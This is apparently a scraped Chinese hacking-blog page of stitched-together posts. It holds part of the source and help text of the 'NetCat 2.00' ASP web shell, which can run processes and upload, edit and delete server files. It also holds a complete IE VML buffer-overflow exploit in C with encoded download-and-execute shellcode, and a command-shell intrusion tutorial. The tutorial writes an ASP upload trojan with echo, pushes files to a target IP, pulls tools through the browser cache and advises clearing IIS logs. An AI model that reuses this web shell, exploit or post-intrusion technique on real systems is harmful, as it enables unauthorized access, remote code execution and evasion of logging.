response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=dircopy&par1=<"+chr(-19762)+chr(-13571)+"1>&par2=<"+chr(-19762)+chr(-13571)+"2><br><br>"+chr(-19762)+chr(-13571)+"1"+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-11084)+chr(-12604)+chr(-17154)+chr(-17200)+"<br>"+chr(-19762)+chr(-13571)+"2"+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-17200)
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
exit function
end if

set copydirfso=server.createobject("Scripting.FileSystemObject")

scrdir=vir2abs(scrdir)
tardir=vir2abs(tardir)
if right(scrdir,1)="\" then
   scrdir=mid(scrdir,1,instrrev(scrdir,"\")-1)
end if
if right(tardir,1)="\" then
   tardir=mid(tardir,1,instrrev(tardir,"\")-1)
end if
if instr(scrdir,"*")>0 or instr(scrdir,"?")>0 or instr(scrdir,"|")>0 or instr(scrdir,">")>0 or instr(scrdir,"<")>0 then
   response.write chr(-12604)+chr(-17154)+chr(-17200)+chr(-18252)+chr(-10554)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-11084)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-15365)+chr(-19514)+chr(-17748)+chr(-11312)+chr(-18489)+chr(-18520)+chr(-19004)+chr(-10282)+chr(-18437)
   exit function
end if
if instr(tardir,"*")>0 or instr(tardir,"?")>0 or instr(tardir,"|")>0 or instr(tardir,">")>0 or instr(tardir,"<")>0 then
   response.write chr(-12604)+chr(-17154)+chr(-17200)+chr(-18252)+chr(-10554)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-15365)+chr(-19514)+chr(-17748)+chr(-11312)+chr(-18489)+chr(-18520)+chr(-19004)+chr(-10282)+chr(-18437)
   exit function
end if
if copydirfso.FolderExists(scrdir) then
    if copydirfso.FolderExists(tardir) then
        response.write chr(-12604)+chr(-17154)+chr(-17200)+chr(-18252)+chr(-10554)+chr(-19219)+chr(-12557)+chr(-23622) & tardir & " "+chr(-12604)+chr(-17154)+chr(-17200)+chr(-11567)+chr(-16723)+chr(-19226)+chr(-11046)+chr(-23647)
        exit function
      else
        copydirfso.CopyFolder scrdir,tardir
        response.write "Folder Copied<br>"+chr(-11084)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-23622) & scrdir & "<br>"+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-23622) & tardir
    end if
   else
    response.write chr(-12604)+chr(-17154)+chr(-17200)+chr(-18252)+chr(-10554)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-11084)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-19781)+chr(-19226)+chr(-11046)+chr(-23647)
end if
set copydirfso=nothing
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
End Function
'========================================================================
Function fDIRMOVE()
dim scrdir
dim tardir
dim movedirfso
scrdir=trim(request("par1"))
tardir=trim(request("par2"))
pcmdhostinfo

if scrdir="?" or scrdir="/?" or scrdir="-?" or tardir="?" or tardir="/?" or tardir="-?" or scrdir="" or&nbsp
;tardir="" then
response.write "DIRMOVE"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-19004)+chr(-11578)+chr(-18769)+"<br><br>"
response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=dirmove&par1=<"+chr(-19762)+chr(-13571)+"1>&par2=<"+chr(-19762)+chr(-13571)+"2><br><br>"+chr(-19762)+chr(-13571)+"1"+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-11084)+chr(-12604)+chr(-17154)+chr(-17200)+"<br>"+chr(-19762)+chr(-13571)+"2"+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-17200)
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
exit function
end if

set movedirfso=server.createobject("Scripting.FileSystemObject")

scrdir=vir2abs(scrdir)
tardir=vir2abs(tardir)
if right(scrdir,1)="\" then
   scrdir=mid(scrdir,1,instrrev(scrdir,"\")-1)
end if
if right(tardir,1)="\" then
   tardir=mid(tardir,1,instrrev(tardir,"\")-1)
end if
if instr(scrdir,"*")>0 or instr(scrdir,"?")>0 or instr(scrdir,"|")>0 or instr(scrdir,">")>0 or instr(scrdir,"<")>0 then
   response.write chr(-12604)+chr(-17154)+chr(-17200)+chr(-11578)+chr(-18769)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-11084)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-15365)+chr(-19514)+chr(-17748)+chr(-11312)+chr(-18489)+chr(-18520)+chr(-19004)+chr(-10282)+chr(-18437)
   exit function
end if
if instr(tardir,"*")>0 or instr(tardir,"?")>0 or instr(tardir,"|")>0 or instr(tardir,">")>0 or instr(tardir,"<")>0 then
   response.write chr(-12604)+chr(-17154)+chr(-17200)+chr(-11578)+chr(-18769)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-15365)+chr(-19514)+chr(-17748)+chr(-11312)+chr(-18489)+chr(-18520)+chr(-19004)+chr(-10282)+chr(-18437)
   exit function
end if
if movedirfso.FolderExists(scrdir) then
    if movedirfso.FolderExists(tardir) then
        response.write chr(-12604)+chr(-17154)+chr(-17200)+chr(-11578)+chr(-18769)+chr(-19219)+chr(-12557)+chr(-23622) & tardir & " "+chr(-12604)+chr(-17154)+chr(-17200)+chr(-11567)+chr(-16723)+chr(-19226)+chr(-11046)+chr(-23647)
        exit function
      else
        movedirfso.MoveFolder scrdir,tardir
        response.write "Folder Moved<br>"+chr(-11084)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-23622) & scrdir & "<br>"+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-23622) & tardir
    end if
   else
    response.write chr(-12604)+chr(-17154)+chr(-17200)+chr(-11578)+chr(-18769)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-11084)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-19781)+chr(-19226)+chr(-11046)+chr(-23647)
end if
set movedirfso=nothing
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
End Function
'========================================================================
Function fDIRDEL()
dim deldir
dim deldirfso
dim deldirobj
deldir=trim(request("par"))
pcmdhostinfo

if deldir="" or deldir="?" or deldir="/?" or deldir="-?" then
response.write "DIRDEL"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+chr(-13890)+chr(-19459)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-17200)+"<br><br>"
response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=dirdel&par=<"+chr(-19762)+chr(-13571)+"><br><br>"+chr(-19762)+chr(-13571)+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-17200)
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
exit function
end if
deldir=vir2abs(deldir)
if right(deldir,1)="\" then
   deldir=mid(deldir,1,instrrev(deldir,"\")-1)
end if
if instr(deldir,"*")>0 or instr(deldir,"?")>0 or instr(deldir,"|")>0 or instr(deldir,">")>0 or instr(deldir,"<")>0 then
   response.write chr(-12604)+chr(-17154)+chr(-17200)+chr(-13890)+chr(-19459)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-15365)+chr(-19514)+chr(-17748)+chr(-11312)+chr(-18489)+chr(-18520)+chr(-19004)+chr(-10282)+chr(-18437)
   exit function
end if
set deldirfso=server.createobject("Scripting.FileSystemObject")
if deldirfso.FolderExists(deldir) then
    set deldirobj=deldirfso.GetFolder(deldir)
    if deldirobj.subfolders.count>0 or deldirobj.files.count>0 then
       response.write chr(-12604)+chr(-17154)+chr(-17200)+chr(-13890)+chr(-19459)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-12630)+chr(-18489)+chr(-16427)
      else
       deldirfso.DeleteFolder deldir,true
       response.write chr(-12604)+chr(-17154)+chr(-17200)+chr(-13890)+chr(-19459)+chr(-19511)+chr(-18010)+chr(-23647)+"(" & deldir & ")"
    end if
    set deldirobj=nothing
  else
    response.write chr(-12604)+chr(-17154)+chr(-17200)+chr(-13890)+chr(-19459)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-10568)+chr(-18776)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-19781)+chr(-19226)+chr(-11046)
end if
set deldirfso=nothing
response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>"
End Function
'========================================================================
'==========================================================================
'++++++++++++++++++++++++++++++++++  Public Model  ++++++++++++++++++++++++++++++++++++++++++++
Function pcmdhostinfo()
Response.Clear
response.write "<html><head><title>NetCat "+chr(-12808)+chr(-15641)+chr(-18487)+chr(-15448)+" Version2.00 "+chr(-19206)+chr(-15637)+chr(-18224)+chr(-14146)+chr(-20250)+"</title>"
response.write "<style>" & chr(10) & chr(13)
response.write "A:link{TEXT-DECORATION: none}" & chr(10) & chr(13)
response.write "A:visited
{TEXT-DECORATION: none}" & chr(10) & chr(13)
response.write "A:hover{LEFT: 1px; BORDER-BOTTOM: #00FFFF 1px dotted; POSITION: relative; TOP: 1px; TEXT-DECORATION: none}" & chr(10) & chr(13)
response.write "#site A:link{color:#FFFFFF; TEXT-DECORATION: none}" & chr(10) & chr(13)
response.write "#site A:visited{color:#FFFFFF; TEXT-DECORATION: none}" & chr(10) & chr(13)
response.write "#site A:hover{color:#00FFFF; LEFT: 1px; BORDER-BOTTOM: #00FFFF 1px dotted; POSITION: relative; TOP: 1px; TEXT-DECORATION: none}" & chr(10) & chr(13)
response.write "BODY{font-size: 12pt}" & chr(10) & chr(13)
response.write "TD{font-size: 12pt}" & chr(10) & chr(13)
response.write ".catbutton{BACKGROUND-COLOR: #ffffff; BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; HEIGHT: 18px; WIDTH: 120px}" & chr(10) & chr(13)
response.write "textarea{BACKGROUND-COLOR: #ececec; BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; COLOR: #000000; FONT-SIZE: 9pt}" & chr(10) & chr(13)
response.write ".catinputtext{BACKGROUND-COLOR: #ffffff; BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; HEIGHT: 18px; WIDTH: 500px}" & chr(10) & chr(13)
response.write "</style></head>"
response.write "<body bgcolor=#000000 text=#FFFFFF link=#00FFFF vlink=#00FFFF>"
response.write "<table border=0 width=100% cellspacing=0 cellpadding=0><tr><td id=site>"
response.write "<a href=" & SelfName() & "?cmd=ver title=Version>NetCat "+chr(-12808)+chr(-15641)+chr(-18487)+chr(-15448)+" Version 2.00 "+chr(-19206)+chr(-15637)+chr(-18224)+chr(-14146)+chr(-20250)+"</a> &copy [<a href=http://www.micromai.com/ title=http://www.micromai.com/ target=_blank>Veranda Studio</a>] <a href=mailto:Duclika@hotmail.com title=Duclika@hotmail.com target=_blank>Duclika</a> Updated 2003-05-23<br>"
response.write chr(-18434)+chr(-12559)+chr(-14601)+chr(-23622) & Request.ServerVariables("SERVER_NAME") & "[" & Request.ServerVariables("LOCAL_ADDR") & "]<br>"
response.write chr(-16435)+chr(-17497)+chr(-18741)+chr(-23622) & Request.ServerVariables("REMOTE_HOST") & "[" & Request.ServerVariables("REMOTE_ADDR") & "]<br>"
response.write chr(-18434)+chr(-12559)+chr(-14601)+chr(-18493)+chr(-12598)+chr(-13647)+chr(-17180)+chr(-23622) & now() & "<br><br>"
response.write "</td></tr></table>"
End Function

Function AspEnd()
response.write "</body></html>"
response.end
End Function

Function vir2abs(byval virpath)
dim virpathtmp
virpathtmp=trim(virpath)
virpathtmp=replace(virpathtmp,"|acrs|","#")
virpathtmp=replace(virpathtmp,"/","\")
if len(virpathtmp)=2 and right(virpathtmp,1)=":" then
   virpathtmp=virpathtmp & "\"
end if
if mid(virpathtmp,2,2)<>":\" and virpathtmp<>"" then
     vir2abs=server.mappath(virpathtmp)
   else
     vir2abs=virpathtmp
end if
End Function

Function chkchar(byval strtmp)
if instr(strtmp,"\")>0 or instr(strtmp,"/")>0 or instr(strtmp,":")>0 or instr(strtmp,"*")>0 or instr(strtmp,"?")>0 or instr(strtmp,chr(34))>0 or instr(strtmp,"<")>0 or instr(strtmp,">")>0 or instr(strtmp,"|")>0 then
     chkchar=false
   else
     chkchar=true
end if
End Function

Function long2short(byval filenametmp)
dim nametmp
nametmp=replace(filenametmp,"/","\")
long2short=mid(nametmp,instrrev(nametmp,"\")+1)
End Function

Function SelfName()
Dim SelfNameTmp
SelfNameTmp=Request.ServerVariables("SCRIPT_NAME")
SelfNameTmp=Replace(SelfNameTmp,"\","/")
SelfName=Mid(SelfNameTmp,InstrRev(SelfNameTmp,"/")+1)
End Function

Function AppPath()
AppPath=left(Request.ServerVariables("PATH_TRANSLATED"),instrrev(Request.ServerVariables("PATH_TRANSLATED"),"\"))
End Function

Function FormatNumber(byval lNumber)
if lNumber<1024 then
   FormatNumber=cstr(lNumber)
end if
if lNumber>=1024 and lNumber<1048576 then
   FormatNumber=left(cstr(lNumber/1024),4) & "K"
End if
if lNumber>=1048576 and lNumber<1073741824 then
   FormatNumber=left(cstr(lNumber/1048576),4) & "M"
End if
if lNumber>=1073741824 and lNumber<1099511627776 then
   FormatNumber=left(cstr(lNumber/1073741824),4) & "G"
end if
End Function

''------------Like-------------
Function myLike(ByVal sTCharStr, ByVal sSCharStr)
Dim sTChar, sSChar
Dim lTCharPos, lSCharPos
Dim sStrTmpT, sStrTmpS
Dim i
sTChar = sTCharStr
sSChar = sSCharStr
Do While InStr(sTChar, "*?") > 0
   sTChar = Replace(sTChar, "*?", "*")
Loop
Do While InStr(sTChar, "?*") > 0
   sTChar = Replace(sTChar, "?*", "*")
Loop
Do While InStr(sTChar, "**") > 0
   sTChar = Replace(sTChar, "**", "*")
Loop
sTChar = LCase(sTChar)
sSChar = LCase(sSChar)
myLike = True
If InStr(sTChar, "*") = 0 Then
    myLike = myLikeStr(sTChar, sSChar)
  Else
    If Left(sTChar, 1) <> "*" Then
       sStrTmpT = Mid(sTChar, 1, InStr(sTChar, "*") - 1)
       If Len(sSChar) < Len(sStrTmpT) Then
          myLike = False
          Exit Function
       End If
       sStrTmpS = Mid(sSChar, 1, Len(sStrTmpT))
       If myLikeStr(sStrTmpT, sStrTmpS) = False Then
          myLike =&nb
sp;False
          Exit Function
       End If
       sTChar = Mid(sTChar, Len(sStrTmpT) + 1)
       sSChar = Mid(sSChar, Len(sStrTmpS) + 1)
    End If
    If Right(sTChar, 1) <> "*" Then
       sStrTmpT = Mid(sTChar, InStrRev(sTChar, "*") + 1)
       If Len(sSChar) < Len(sStrTmpT) Then
          myLike = False
          Exit Function
       End If
       sStrTmpS = Mid(sSChar, Len(sSChar) - Len(sStrTmpT) + 1, Len(sStrTmpT))
       If myLikeStr(sStrTmpT, sStrTmpS) = False Then
          myLike = False
          Exit Function
       End If
       sTChar = Mid(sTChar, 1, Len(sTChar) - Len(sStrTmpT))
       sSChar = Mid(sSChar, 1, Len(sSChar) - Len(sStrTmpS))
    End If
    If Len(sSChar) < lSLeastLen Then
       myLike = False
       Exit Function
    End If
    lTCharPos = 1
    lSCharPos = 1
    Do While InStr(lTCharPos, sTChar, "*") < Len(sTChar)
       sStrTmpT = Mid(sTChar, lTCharPos + 1, InStr(lTCharPos + 1, sTChar, "*") - lTCharPos - 1)
       lTCharPos = InStr(lTCharPos + 1, sTChar, "*")
       Do While lSCharPos - 1 < Len(sSChar)
          sStrTmpS = Mid(sSChar, lSCharPos, Len(sStrTmpT))
          lSCharPos = lSCharPos + 1
          If myLikeStr(sStrTmpT, sStrTmpS) = True Then
             lSCharPos = lSCharPos + Len(sStrTmpS) - 1
             Exit Do
            Else
             If lSCharPos - 2 + Len(sStrTmpS) >= Len(sSChar) Then
                myLike = False
                Exit Function
             End If
          End If
       Loop
    Loop
End If
End Function
Function myLikeStr(ByVal sStrTSrc, ByVal sStrSSrc)
Dim i
myLikeStr = True
If Len(sStrTSrc) <> Len(sStrSSrc) Then
     myLikeStr = False
   Else
    For i = 1 To Len(sStrTSrc)
        If Mid(sStrTSrc, i, 1) <> "?" Then
           If Mid(sStrTSrc, i, 1) <> Mid(sStrSSrc, i, 1) Then
              myLikeStr = False
              Exit Function
           End If
        End If
    Next
End If
End Function
'-----------------------------------myListFile-----------------------
Function myListFile(byval sListFileDirTmp,byval sListFileNameTmp,byval sActionTmp)
Dim sListFileDir,sListFileName,sAction
dim listfilefso
dim listfilefolder
dim listfilefolders
dim listfilefile
dim listfilefiles
dim listfileitemtmp
dim strtmp
sListFileDir=trim(sListFileDirTmp)
sListFileName=trim(sListFileNameTmp)
sAction=trim(ucase(sActionTmp))

set listfilefso=server.createobject("Scripting.FileSystemObject")
if listfilefso.FolderExists(sListFileDir) then
   set listfilefolder=listfilefso.GetFolder(sListFileDir)
   set listfilefolders=listfilefolder.subfolders
   set listfilefiles=listfilefolder.files
   for each listfileitemtmp in listfilefiles
       select case sAction
              case "CAT_FINDFILE"
                   if myLike(sListFileName,listfileitemtmp.Name) then
                      response.write listfileitemtmp.Name & "  [" & listfileitemtmp & "]<br>"
                   end if
              case "CAT_DELTREE"
                   On Error Resume Next
                   if myLike(sListFileName,listfileitemtmp.Name) then
                      strtmp=listfileitemtmp
                      listfilefso.DeleteFile listfileitemtmp
                      response.write "Deleting [" & strtmp & "]<br>"
                   end if
              case else
   &nbs
p;               response.write listfileitemtmp.Name & "  [" & listfileitemtmp & "]<br>"
       end select
   next
   for each listfileitemtmp in listfilefolders
       call myListFile(listfileitemtmp,sListFileName,sAction)
   next
   set listfilefolder=nothing
   set listfilefolders=nothing
   set listfilefiles=nothing
  else
   response.write chr(-10568)+chr(-18776)+chr(-19004)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-15169)+chr(-15684)+chr(-19781)+chr(-19226)+chr(-11046)
end if
set listfilefso=nothing
End Function
%>


xx.asp?cmd=ver
显示
NetCat2.00


网络飞猫2.00
基于HTTP的远程服务器命令行解释外壳
The Command Shell of Remote Server Based On HTTP

程序编写:Duclika
电子邮件:Duclika@hotmail.com
OICQ号码:5183219 58858309
主页地址:http://www.micromai.com/
更新时间:2003年5月23日

注意,本程序只适用于学习用途,不得利用本程序非法入侵他人计算机,造成一切损失以及一切责任均与作者无关。

Copyright © [Veranda Studio] Duclika 2003-05-23

xx.asp?cmd=help
获得帮助
HELP|?命令

功能:NetCat 网络飞猫 命令列表

格式:insertatfilelab.asp?cmd=[命令][&par=[参数]]

[命令]

HELP|? NetCat 网络飞猫 命令列表
DIR 列出当前或指定服务器端目录的文件和文件夹列表
TYPE 以ASCII形式显示指定文件内容
EDIT ASCII类型的文件编辑器
COPY 服务器端文件的复制
MOVE 服务器端文件的移动
DEL 删除服务器端的文件
DELTREE 清空服务器端指定目录下的所有文件
RUN 创建一个服务器端的进程
FINDFILE 查找服务器端的文件
UPFILE 上传本地文件到目标服务器指定的位置上
REN 服务器端文件的重命名
DIRMAKE 服务器端新建目录
DIRCOPY 服务器端文件夹的复制
DIRMOVE 服务器端文件夹的移动
DIRDEL 删除服务器端的文件夹
VER NetCat(网络飞猫)版本信息以及升级日志

分类: 资源共享 标签:

Internet Explorer VML Overflow Down Exec Exploit

2006年9月22日 Chinadu 没有评论 8 views

临时解决方法提供:sunwear

各位还是用临时解决方案吧
该漏洞现在还没补丁

1、解除vgx.dll的注册:点击“开始”菜单,选择“运行”,在其中输入下面的命令:
regsvr32 -u "%ProgramFiles%\Common Files\Microsoft Shared\VGX\vgx.dll"
然后点击“确定”,在随后出现的弹出窗口中点击“确定”按钮。
在微软发布补丁后,如果想恢复注册,只需再用上述方法运行下面的命令即可:
regsvr32 "%ProgramFiles%\Common Files\Microsoft Shared\VGX\vgx.dll"

2、尽量使用非IE内核的网络浏览器,如Firefox、Opera等。


/*
*-----------------------------------------------------------------------
*
* vml.c - Internet Explorer VML Buffer Overflow Download Exec Exploit
* !!! 0day !!! Public Version !!!
*
* Copyright (C) 2006 XSec All Rights Reserved.
*
* Author : nop
* : nop#xsec.org
* : http://www.xsec.org
* :
* Tested : Windows 2000 Server CN
* : + Internet Explorer 6.0 SP1
* :
* Complie : cl vml.c
* :
* Usage : d:\>vml
* :
* : Usage: vml <URL> [htmlfile]
* :
* : d:\>vml http://xsec.org/xxx.exe xxx.htm
* :
*
*------------------------------------------------------------------------
*/

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

FILE *fp = NULL;
char *file = "xsec.htm";
char *url = NULL;

#define NOPSIZE 260
#define MAXURL 60

//DWORD ret = 0x7Ffa4512; // call esp for CN
DWORD ret = 0x7800CCDD; // call esp for All win2k

// Search Shellcode
unsigned char dc[] =
"\x8B\xDC\xBE\x6F\x6F\x6F\x70\x4E\xBF\x6F\x30\x30\x70\x4F\x43\x39"
"\x3B\x75\xFB\x4B\x80\x33\xEE\x39\x73\xFC\x75\xF7\xFF\xD3";

// Shellcode Start
unsigned char dcstart[] =
"noop";

// Download Exec Shellcode XOR with 0xee
unsigned char sc[] =
"\x07\x4B\xEE\xEE\xEE\xB1\x8A\x4F\xDE\xEE\xEE\xEE\x65\xAE\xE2\x65"
"\x9E\xF2\x43\x65\x86\xE6\x65\x19\x84\xEA\xB7\x06\xAB\xEE\xEE\xEE"
"\x0C\x17\x86\x81\x80\xEE\xEE\x86\x9B\x9C\x82\x83\xBA\x11\xF8\x7B"
"\x06\xDE\xEE\xEE\xEE\x6D\x02\xCE\x65\x32\x84\xCE\xBD\x11\xB8\xEA"
"\x29\xEA\xED\xB2\x8F\xC0\x8B\x29\xAA\xED\xEA\x96\x8B\xEE\xEE\xDD"
"\x2E\xBE\xBE\xBD\xB9\xBE\x11\xB8\xFE\x65\x32\xBE\xBD\x11\xB8\xE6"
"\x84\xEF\x11\xB8\xE2\xBF\xB8\x65\x9B\xD2\x65\x9A\xC0\x96\xED\x1B"
"\xB8\x65\x98\xCE\xED\x1B\xDD\x27\xA7\xAF\x43\xED\x2B\xDD\x35\xE1"
"\x50\xFE\xD4\x38\x9A\xE6\x2F\x25\xE3\xED\x34\xAE\x05\x1F\xD5\xF1"
"\x9B\x09\xB0\x65\xB0\xCA\xED\x33\x88\x65\xE2\xA5\x65\xB0\xF2\xED"
"\x33\x65\xEA\x65\xED\x2B\x45\xB0\xB7\x2D\x06\xB8\x11\x11\x11\x60"
"\xA0\xE0\x02\x2F\x97\x0B\x56\x76\x10\x64\xE0\x90\x36\x0C\x9D\xD8"
"\xF4\xC1\x9E";

// Shellcode End
unsigned char dcend[] =
"n00p";

// HTML Header
char * header =
"<html xmlns:v=\"urn:schemas-microsoft-com:vml\">\n"
"<head>\n"
"<title>XSec.org</title>\n"
"<style>\n"
"v\\:* { behavior: url(#default#VML); }\n"
"</style>\n"
"</head>\n"
"<body>\n"
"<v:rect style=\"width:20pt;height:20pt\" fillcolor=\"red\">\n"
"<v:fill method=\"";

char * footer =
"\"/>\n"
"</v:rect>\n"
"</body>\n"
"</html>\n"
;

// convert string to NCR
void convert2ncr(unsigned char * buf, int size)
{
  int i=0;
  unsigned int ncr = 0;

  for(i=0; i<size; i+=2)
  {
    ncr = (buf[i+1] << 8) + buf[i];

    fprintf(fp, "&#%d;", ncr);
  }
}

void main(int argc, char **argv)
{
  unsigned char buf[1024] = {0};
  unsigned char burl[255] = {0};
  int sc_len = 0;
  int psize = 0;
  int i = 0;

  unsigned int nop = 0x4141;
  DWORD jmp = 0xeb06eb06;

  if (argc < 2)
  {
    printf("Windows VML Download Exec Exploit\n");
    printf("Code by nop nop#xsec.org, Welcome to http://www.xsec.org\n");
    //printf("!!! 0Day !!! Please Keep Private!!!\n");
    printf("\r\nUsage: %s <URL> [htmlfile]\r\n\n", argv[0]);
    exit(1);
  }

  url = argv[1];
  if( (!strstr(url, "http://") && !strstr(url, "ftp://")) || strlen(url) <
      10 || strlen(url) > MAXURL)
  {
    printf("[-] Invalid url. Must start with 'http://','ftp://' and < %d bytes.\n", MAXURL);
    return;
  }

  printf("[+] download url:%s\n", url);

  if(argc >=3) file = argv[2];

  printf("[+] exploit file:%s\n", file);

  fp = fopen(file, "w+b");
  //fp = fopen(file, "w");
  if(!fp)
  {
    printf("[-] Open file error!\n");
    return;
  }

  // print html header
  fprintf(fp, "%s", header);
  fflush(fp);

  for(i=0; i<NOPSIZE; i++)
  {
    //fprintf(fp, "&#%d;", nop);
    fprintf(fp, "A");
  }

  fflush(fp);

  // print shellcode
  memset(buf, 0x90, sizeof(buf));
  //memset(buf, 0x90, NOPSIZE*2);

  memcpy(buf, &ret, 4);
  psize = 4+8+0x10;

  memcpy(buf+psize, dc, sizeof(dc)-1);
  psize += sizeof(dc)-1;

  memcpy(buf+psize, dcstart, 4);
  psize += 4;

  sc_len = sizeof(sc)-1;
  memcpy(buf+psize, sc, sc_len);
  psize += sc_len;

  // print URL
  memset(burl, 0, sizeof(burl));
  strncpy(burl, url, 60);

  for(i=0; i<strlen(url)+1; i++)
  {
    burl[i] = buf[i] ^ 0xee;
  }

  memcpy(buf+psize, burl, strlen(url)+1);
  psize += str
len(url)+1;

  memcpy(buf+psize, dcend, 4);
  psize += 4;

  // print NCR
  convert2ncr(buf, psize);

  printf("[+] buff size %d bytes\n", psize);

  // print html footer
  fprintf(fp, "%s", footer);
  fflush(fp);

  printf("[+] exploit write to %s success!\n", file);
}

// milw0rm.com [2006-09-20]

分类: 矩阵毒刺 标签:

Do All in CmdShell

2006年9月21日 Chinadu 没有评论 18 views

Do All in Cmd Shell (一切尽在命令行)

-------------------------------------------------------
zzzEVAzzz
http://www.isgrey.com
2004-04-24
-------------------------------------------------------


目录
1,前言
2,文件传输
3,系统配置
4,网络配置
5,软件安装
6,Windows脚本
7,附言


前言
Cmd Shell(命令行交互)是黑客永恒的话题,它历史悠久并且长盛不衰。
本文旨在介绍和总结一些在命令行下控制Windows系统的方法。这些方法都是尽可能地利用系统自带的工具实现的。


文件传输
对于溢出漏洞获得的cmd shell,最大的问题就是如何上传文件。由于蠕虫病毒流行,连接ipc$所需要的139或445端口被路由封锁。再加上WinXP系统加强了对ipc$的保护,通过ipc$及默认共享上传文件的手段基本无效了。ftp和tftp是两种可行的方法,介于其已被大家熟知,本文就不介绍了。还有三种大家熟悉的办法,作为总结我再提一下:

1,用Echo命令写ASP木马。
前提当然是目标主机上已经安装了IIS。
一般的ASP木马"体积"较大,不适合直接用echo命令写入文件,这里我提供一个小巧的。
直接给出echo版:

@echo ^<%with server.createobject("adodb.stream"):.type=1:.open:.write request.binaryread(request.totalbytes):.savetofile server.mappath(request.querystring("s")),2:end with%^> >up.asp

注意,只有一行,中间没有回车符。
生成的up.asp不能用浏览器访问,只能用下面这个脚本:

with wscript
if .arguments.count<3 then .quit
url=.arguments(0)&"?s="&.arguments(2)
fn=.arguments(1)
end with
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fn:s=.read:.close
end with
with createobject("microsoft.xmlhttp")
.open "post",url,false:.send s
wscript.echo .statustext
end with

将其保存为up.vbs。假设目标IP为123.45.67.89,up.asp在IIS虚拟根目录下,需要上传的文件为nc.exe,上传后保存为mm.exe,相应的命令是:

cscript up.vbs http://123.45.67.89/up.asp nc.exe mm.exe

注意,这个命令是在本地命令行中执行的,不要弄错了。

另外,通过IIS上传会留日志,要记得清除哦。

2,自动下载到网页缓存中。
例如:

start its:http://www.sometips.com/soft/ps.exe

在远程shell中执行上面这个命令后,ps.exe已经下载到目标主机的网页缓存目录中了。然后:

cd "C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5"
dir /s ps[1].exe

于是获得ps.exe的具体位置(每台主机都不一样),如:

C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\AB094JIT 的目录

2004-01-24 14:24 49,152 ps[1].exe
1 个文件 49,152 字节

最后:
copy AB094JIT\ps[1].exe c:\path\ps.exe
del AB094JIT\ps[1].exe

补充说明:
